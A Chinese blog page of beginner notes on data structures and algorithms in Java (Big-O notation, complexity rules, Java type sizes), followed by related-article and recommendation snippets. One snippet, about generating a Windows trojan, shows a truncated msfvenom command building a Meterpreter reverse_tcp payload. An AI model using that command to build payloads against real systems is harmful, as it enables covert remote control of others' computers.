数据结构和算法day1(Java)
1.什么是数据结构?
数据结构就是把数据元素按照一定的关系组织起来的集合,用来组织和存储数据。
1.2.数据结构的分类:
逻辑结构 和物理结构
逻辑结构:
集合结构(无关系)、线性结构(一对一)、树形结构(一对多)、图形结构(多对多)
物理结构:
顺序存储结构(不方便插入)、链式结构(不方便查找)(指针)
1.3.什么是算法?
根据一定的条件,对数据进行计算,得到需要的结果。(用(最佳的)数学模型解决问题)
举例:云南到北京的出行方式。在北京买房的购买方式
1.4算法的初步体验
优秀的算法:
最少的时间,占用最少的内存
举例:
计算1-100求和。for循环累加 VS 高斯公式
计算10的阶乘。暴力算法 VS 递归
2.算法分析
2.1.算法的时间复杂度分析(分析计算时间)
事后分析方法:
使用测试程序计算执行时间
有弊端:干扰执行时间,运行环境不同
事前分析法(未来要用的方法):
1)算法采用的策略和方法(程序员可以干预)
2)编译产生的代码质量(由编译器决定)
3)问题的输出规模(取决于实际需求)
4)机器执行指令的速度(不能干预)
2.1.2函数渐进增长(比较算法的相对增长率,相对增长率越小,算法的效率越高)
规律:
随着输入规模的增大,算法的常数操作可以忽略不计
随着输入规模的增大,与最高次项相乘的乘数可以忽略不计
最高次数项的指数大的,随着n的增长,结果也会增长得特别快
算法中n的最高次幂越小,算法效率越高
2.1.3大O计法
前提:程序的执行次数=程序的执行时间
T(O)=O(f(n))
表示
3次……O(1)
n+3次 O(n)
n^2+2 O(n^2)
表示方法:
用常数1取代运行时间中的所有加法常数
在修改后的的运行次数中,只保留高阶乘
如果最高阶乘存在,且常数因子不为1,则去除这个项相乘的常数
2.1.3.1常见的大0阶
1)线性阶
一般含有非嵌套循环(一个for循环执行n次)
2)平方阶
双层嵌套循环(例如两个个for循环每个都执行n次)
3)立方阶
三层嵌套循环
4)对数阶
范围内乘法累加计算循环,计算循环次数则需要用log计算
规律:可以忽略底数
5)常数阶
复杂度:
O(1)<O(logn)<O(nlogn)<O(n^2)<O(n^3)............
2.1.4函数调用的时间复杂度分析
具体情况具体分析,灵活运用
2.1.5 最坏情况(最好,最坏,平均)
2.2空间复杂度分析(嵌入式开发)Java默认是考虑时间复杂度
1)Java的数据类型占用内存情况
byte ,1
short,2
int,4
long,8
float,4
double,8
boolean,1
char,2
2)计算机访问内存都是一次一字节
3)一个引用需要8个字节
4)创建对象16个字节
5)不够8字节,都会自动填充为8字节
6)数组,保存数组长度,不够8的倍数,填充8字节
2.2.案例 数组返转,反会数组
数据结构和算法day1(Java)的更多相关文章
- 数据结构与算法【Java】02---链表
前言 数据 data 结构(structure)是一门 研究组织数据方式的学科,有了编程语言也就有了数据结构.学好数据结构才可以编写出更加漂亮,更加有效率的代码. 要学习好数据结构就要多多考虑如何将生 ...
- 数据结构与算法【Java】03---栈
前言 数据 data 结构(structure)是一门 研究组织数据方式的学科,有了编程语言也就有了数据结构.学好数据结构才可以编写出更加漂亮,更加有效率的代码. 要学习好数据结构就要多多考虑如何将生 ...
- 数据结构与算法【Java】05---排序算法总结
前言 数据 data 结构(structure)是一门 研究组织数据方式的学科,有了编程语言也就有了数据结构.学好数据结构才可以编写出更加漂亮,更加有效率的代码. 要学习好数据结构就要多多考虑如何将生 ...
- 数据结构与算法【Java】08---树结构的实际应用
前言 数据 data 结构(structure)是一门 研究组织数据方式的学科,有了编程语言也就有了数据结构.学好数据结构才可以编写出更加漂亮,更加有效率的代码. 要学习好数据结构就要多多考虑如何将生 ...
- 常用数据结构及算法C#/Java实现
常用数据结构及算法C#实现 1.冒泡排序.选择排序.插入排序(三种简单非递归排序) ,, , , , , , , , , }; //冒泡排序 int length = waitSort.Length; ...
- 数据结构与算法之java语言实现(一):稀疏数组
一.概念&引入 什么是稀疏数组? 稀疏数组是面对一个二维数组中有众多重复元素的情况下,为了节省磁盘空间,将此二维数组转化为更加节省空间的一种数组,我们叫他稀疏数组. 只是听概念或许会看不明白, ...
- 数据结构和算法(java版本)学习指南
1 数据结构和算法内容介绍 2 数据结构和算法的概述 3 稀疏数组SparseArray
- 数据结构与算法—二叉排序树(java)
前言 前面介绍学习的大多是线性表相关的内容,把指针搞懂后其实也没有什么难度.规则相对是简单的. 再数据结构中树.图才是数据结构标志性产物,(线性表大多都现成api可以使用),因为树的难度相比线性表大一 ...
- 数据结构和算法(Java版)快速学习(线性表)
线性表的基本特征: 第一个数据元素没有前驱元素: 最后一个数据元素没有后继元素: 其余每个数据元素只有一个前驱元素和一个后继元素. 线性表按物理存储结构的不同可分为顺序表(顺序存储)和链表(链式存储) ...
- 数据结构和算法(Java版)快速学习(数组Array)
Java数组 在Java中,数组是用来存放同一种数据类型的集合,注意只能存放同一种数据类型. 用类封装数组实现数据结构 数据结构必须具有以下基本功能: ①.如何插入一条新的数据项 ②.如何寻找某一特定 ...
随机推荐
- UIAutomator测试框架介绍
uiautomator简介 UiAutomator是Google提供的用来做安卓自动化测试的一个Java库,基于Accessibility服务.功能很强,可以对第三方App进行测试,获取屏幕上任意一个 ...
- DOM(原生js事件绑定)
一:原生js事件绑定 1.开关灯案例 <!DOCTYPE html> <html lang="en"> <head> <meta char ...
- 监听Windows(生成木马)
sudo su msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=ip地址 LPORT=端口 -f ...
- Burp Suite安装
1.Burpsuite简介 Burp Suite是一款集成化的渗透测试工具,包含了很多功能,可以帮助我们高效地完成对Web应用程序的渗透测试和攻击. Burp Suite 由Java语言编写,基于J ...
- nuxt.js安装使用
首先要学会看文档,https://www.nuxtjs.cn/guide/configuration 一.创建项目,并运行 终端运行 npx create-nuxt-app <项目名> ( ...
- 分享自己亲测过的Visualstudio 2019中开发Typescript时,设置自动编译生成js,无需手工运行命令生成的方法。
步骤1)右键web项目,添加 tsconfig.json文件. 步骤2)确保配置如下,编译版本可自行设置,这里主要关注编译目标目录和自动编译设置: { "compileOnSave" ...
- 发布了一个jar包到中央仓库,我的心好累…
原创:微信公众号 码农参上,欢迎分享,转载请保留出处. 哈喽大家好啊,我是Hydra. 前几天我在网上冲浪的时候,看见有一个老铁在git上给我提了一个issue: 万万没想到,有一天我写的烂代码居然也 ...
- BatteryStatsHelper.java源码分析
在分析PowerUsageSummary的时候,其实可以发现主要获取应用和服务电量使用情况的实现是在BatteryStatsHelper.java中 还是在线网站http://androidxref. ...
- vs2019 内核驱动编译失败:网络共享盘问题
怀念2008 我以为这个年代了,中文路径问题应该解决了,记得vs 2008写c的时候曾因中文路径的问题导致编译不通过,从2015版本开始发现有时候项目名称和路径里包含中文也可以编译通过了,习惯之后后面 ...
- ionic+vue+capacitor系列笔记--常见报错以及解决
1.Require statement not part of import statement.(@typescript-eslint/no-var-requires) 解决 .eslintrc.j ...